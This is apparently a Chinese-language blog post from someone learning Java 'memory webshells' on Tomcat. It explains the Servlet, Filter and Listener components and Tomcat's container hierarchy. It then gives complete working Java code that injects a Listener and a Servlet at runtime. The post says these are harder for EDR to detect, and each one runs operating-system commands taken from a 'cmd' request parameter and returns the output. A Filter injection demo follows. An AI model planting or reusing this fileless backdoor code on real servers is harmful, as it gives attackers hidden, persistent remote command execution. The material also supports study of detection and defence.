学习JAVA这几个月的时间,内存马的大名如雷贯耳。由于基础薄弱,一直没有深入了解过内存马,直到现在感觉内存马的神秘面纱越来越薄,所以感觉是时候了,今天来学习一下。
前置知识
JAVA WEB有三大件,分别是Servlet、Filter 、Listener。当收到一个请求时,处理的顺序如下:
请求 → Listener → Filter → Servlet
- Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面
- Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。
- Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。
那么是什么东西决定了这个处理顺序呢?那肯定是中间件啦,当中间件(本文所说中间件默认为tomcat)收到一个请求后,会按照上面所说的顺序依次调用各个对象。
内存马原理
所以,上面这些和内存马有什么关系?
内存马,重点在于内存两字。相较于普通的webshell马,可以做到无文件不落地,更不容易被EDR检测到。
上面说过请求到来时,中间件会依次调用JAVA WEB这三大件。而tomcat是怎么知道要调用谁的呢?肯定是有个地方保存这这些信息啊,而内存马说的简单点就是,动态的插入JAVA WEB三大件到tomcat保存的这些信息中。
内存马分类
个人理解内存马可以分为两种:
1.基于插入组件的内存马:通过插入JAVA WEB组件,或者其他框架中的组件来实现的内存马(比如spring boot中插入一个Controller)。
2.基于Javaagent和Javassist技术的内存马:这种内存马,通过修改现有组件的字节码来实现。通过修改现有组件的内存马可以给现有的对象添加一些本来没有的功能。类似于c/c++中的HOOK。
本文的学习重点是插入JAVA WEB组件的内存马。
Tomcat相关
内存马的实现与中间件息息相关,本篇文章的学习都是基于tomcat中间件的,为了更好的理解这里简单介绍一下tomcat。
简单理解,tomcat是http服务器+servlet容器。
Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。
Tomcat 中有 4 类容器组件,分别为Engine、Host 、Context 、 Wrapper。
- Engine(org.apache.catalina.core.StandardEngine):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
- Host(org.apache.catalina.core.StandardHost):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
- Context(org.apache.catalina.core.StandardContext):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
- Wrapper(org.apache.catalina.core.StandardWrapper):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
Listener内存马
监听器通常分为以下三类:
基于Servlet上下文的ServletContex监听器
- ServletContextListener:负责监听 Servlet Context 的生命周期 (该生命周期其实就对应着应用的生命周期,如ServletContext被创建和销毁)
- ServletContextAttributeListenner:负责监听web应用属性改变的时间,包含增删改属性。
基于会话的HttpSession监听器
- HttpSessionBindingListener:只要有对象加入session的范围(即调用HttpSession对象的setAttribute方法的时候)或移出范围(removeAtrribute方法 和 Session Time out的时候)时,通知接收对象。
- HttpSessionAttributeListener:负责监听HttpSession的属性操作。
- HttpSessionListener:负责监听HttpSession的操作。
- HttpSessionActivationListener:主要用于同一个Session转移至不同的JVM的情形,感知自己何时随着HttpSession钝化/激活。
基于请求的ServletRequest监听器
- ServletRequestListener:用于对Request请求进行监听(创建、销毁)。
- ServletRequestAttributeListener:监听ServletRequest的属性操作。
可以发现最适合做内存马的就是ServletRequestListener类,它提供两种行为的监听:
- Request请求创建
- Request请求销毁
通过上面对tomcat的介绍,可以看出,Context代表了一个web应用,只要找到这个Context对象就可以掌握这个web应用的所有信息。
对于Tomcat来说,一个Web应用中的Context组件为org.apache.catalina.core.StandardContext对象。
创建一个java web项目,写一个测试的ServletRequestListener监听器,下断调试运行,浏览器随意访问个URL回车会在监听器中断下来,然后回溯栈帧会发现上一跳在StandardContext.fireRequestInitEvent方法中调用listener.requestInitialized(event)来调用了监听器。
继续向上追溯listener的来源:
可以看到来源为 StandardContext.getApplicationEventListeners方法:
继续向上追发现,数据来源是StandardContext.applicationEventListenersList。
这说明,只要我们自己创建一个listener对象并且添加到applicationEventListenersList中就可以实现动态注册监听器了。
仔细看看StandardContext的代码,会发现StandardContext提供了向applicationEventListenersList添加数据的方法:
这样就更简单了,只要自己创建一个listener对象然后调用这个方法就好了,最终代码如下:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) contextClassLoader.getResources().getContext();
context.addApplicationEventListener(new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
ServletRequest servletRequest = servletRequestEvent.getServletRequest();
Request requests = (Request) ReflectTools.getObj(servletRequest, "request");
String cc = servletRequest.getParameter("cmd");
try {
Process exec = Runtime.getRuntime().exec(cc);
InputStream inputStream = exec.getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int size=-1;
byte[] buffer = new byte[1024];
while((size=bufferedInputStream.read(buffer))!=-1)
{
String outStr = new String(buffer,0,buffer.length);
requests.getResponse().getWriter().println(outStr);
}
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
运行以上控制器,之后访问任意页面,在cmd参数中加上想要执行的代码,即可发现代码执行成功了:
Filter内存马
看一下org.apache.catalina.core.StandardContext类,在类中会看到有如下成员:
这三个成员是有关filter的三个成员。
filterDefs和filterMaps在org.apache.catalina.deploy.WebXml类的configureContext方法中被初始化,filterConfigs在StandardContext.startInternal方法中初始化。
filterDefs中是封装了我们的Filter名字的FilterDef对象的一个Map,filterDef中封装了Filter对象。
filterMaps中是filtername和filter过滤的url的对应关系。
filterConfigs中是filtername和ApplicationFilterConfig的一个Map。ApplicationFilterConfig对象是封装的StandardContext和FilterDef对象。
创建一个test filter,下断调试,在filter断下来后回溯栈帧,会看到一个StandardWrapperValve.invoke这一跳,在这个方法中向上翻会看到如下代码:
跟进createFilterChain方法,可以看到filter链创建过程:
通过以上代码可以看出,想要插入一个Filter类型的内存马,只要像这两个对象中插入我们的filter就可以了。
代码如下:
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) contextClassLoader.getResources().getContext();
HashMap<String, FilterDef> filterDefs = (HashMap<String, FilterDef>) ReflectTools.getObj(context,"filterDefs");
Object filterMaps = ReflectTools.getObj(context, "filterMaps");
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) ReflectTools.getObj(context,"filterConfigs");
Filter injectFilter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletResponse.getWriter().println("inject Filter is running");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(injectFilter);
filterDef.setFilterName("injectFilter");
filterDef.setFilterClass(injectFilter.getClass().getName());
try {
ApplicationFilterConfig filterConfig;
filterConfig = (ApplicationFilterConfig) ReflectTools.createObject("org.apache.catalina.core.ApplicationFilterConfig",new Class[]{Context.class,FilterDef.class},new Object[]{context,filterDef});
filterConfigs.put("injectFilter", filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("injectFilter");
ReflectTools.callFunc(filterMaps,"add",new Class[]{FilterMap.class},new Object[]{filterMap});
}
在一个控制器中添加如上代码,然后访问一次这个控制器后,随意访问任意URL都可以得到输出“inject Filter is running”。
Servlet内存马
Servlet内存马和Filter内存马大同小异,原理都是一样的,都是动态注册一个组件,只不过类型稍变了一下。想要动态注册Servlet首先先了解一下Tomcat是怎么做的。
org.apache.catalina.startup.ContextConfig.configureContext方法中依次读取了 Filter、Listener、Servlet的配置及其映射,这里我们重点关注Servlet部分:
Tomcat是通过 WebXmlParser 对 web.xml 进行解析,如果存在 web.xml 文件,则会把文件中定义的 Servlet、Filter、Listener 注册到 WebXml 实例中。
在configureContext方法中读取了Servlet的配置,创建了一个wrapper对象,然后设置了一系列Servlet的值,之后通过context.addChild将wrapper对象添加到Context的子容器中。
接下来获取webxml中的Servlet映射关系,然后调用context.addServletMappingDecoded设置Servlet的映射关系,到这一个Servlet的配置就算完成了。
了解了Tomcat是怎么注册Servlet的后我们只要跟着写一遍代码就可以了,代码如下:
public void doGet(HttpServletRequest req, HttpServletResponse rep) throws IOException {
org.apache.catalina.loader.WebappClassLoaderBase classLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standContext = (StandardContext) classLoaderBase.getResources().getContext();
String servletMapping = standContext.findServletMapping("/shell");
if(servletMapping != null){
return;
}
Wrapper wrapper = standContext.createWrapper();
wrapper.setName("memoryMa");
Servlet memoryMa = new Servlet() {
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
Process cmdInfo = Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
InputStream is = cmdInfo.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(is,"GBK");
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
servletResponse.setCharacterEncoding(inputStreamReader.getEncoding());
String buffer = null;
while((buffer = bufferedReader.readLine())!=null)
{
servletResponse.getWriter().println(buffer);
}
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
};
wrapper.setLoadOnStartup(1);
wrapper.setServlet(memoryMa);
wrapper.setServletClass(memoryMa.getClass().getName());
standContext.addChild(wrapper);
standContext.addServletMappingDecoded("/shell","memoryMa");
}
运行注册内存马控制器前访问/shell是提示404的:
运行一次内存马控制器后再次访问/shell:
可以看到内存马注入成功~
参考
https://blog.csdn.net/qq_35262405/article/details/101765982?spm=1001.2014.3001.5506
https://blog.csdn.net/nashiyu/article/details/111773908
https://blog.csdn.net/qq_41874930/article/details/121184952
https://xz.aliyun.com/t/11003
总结
学习过程中,Servlet的调用过程比较复杂,本想通过一样的栈回溯的方式去找Servlet的调用方式,然后通过代码注入的。结果没找到,最后只能是模拟Tomcat初始化时用的方法来注册Servlet了。
本篇只是内存马基础入门篇,接下来会学习更多内存马利用姿势。